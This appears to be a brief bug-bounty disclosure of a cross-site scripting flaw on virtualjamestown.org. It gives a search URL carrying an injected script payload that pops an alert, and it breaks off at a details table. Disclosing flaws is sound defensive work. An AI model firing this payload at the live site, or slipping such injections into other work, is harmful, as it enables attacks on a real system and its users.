virtualjamestown.org XSS vulnerability

Vulnerable URL: http://www.virtualjamestown.org/indentures/searchindentures.cgi?searchtype=basicpage=0=bristolindln=1%22%27--!%3E%3Cscript%3Ealert'OPENBUGBOUNTY'%3C/script%3Efn=place=occ===&year-ops;==&year1;=ln=Davisfn=Thomasplace=occ=planterorder==Initiate%20Search Details: Description| Value...